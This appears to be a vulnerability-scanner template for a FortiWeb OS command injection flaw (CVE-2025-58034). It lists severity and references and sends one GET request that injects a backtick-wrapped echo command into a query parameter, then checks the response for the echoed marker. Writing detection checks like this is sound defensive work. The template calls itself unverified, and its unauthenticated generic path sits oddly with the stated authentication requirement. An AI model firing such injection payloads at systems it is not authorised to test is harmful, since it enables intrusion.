id: CVE-2025-58034

info:
  name: "Fortinet FortiWeb - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability
    [CWE-78] vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.5, FortiWeb 7.4.0
    through 7.4.10, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an authenticated
    attacker to execute unauthorized code on the underlying system via crafted HTTP requests or CLI commands.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-58034&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=fortiweb&match=exact
  classification:
    cvss-score: 7.2
    cve-id: CVE-2025-58034
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2025,fortiweb,cmd

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?x=%60echo%20m8njguwjtk5g%60"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "m8njguwjtk5g"
      - type: status
        status:
          - 200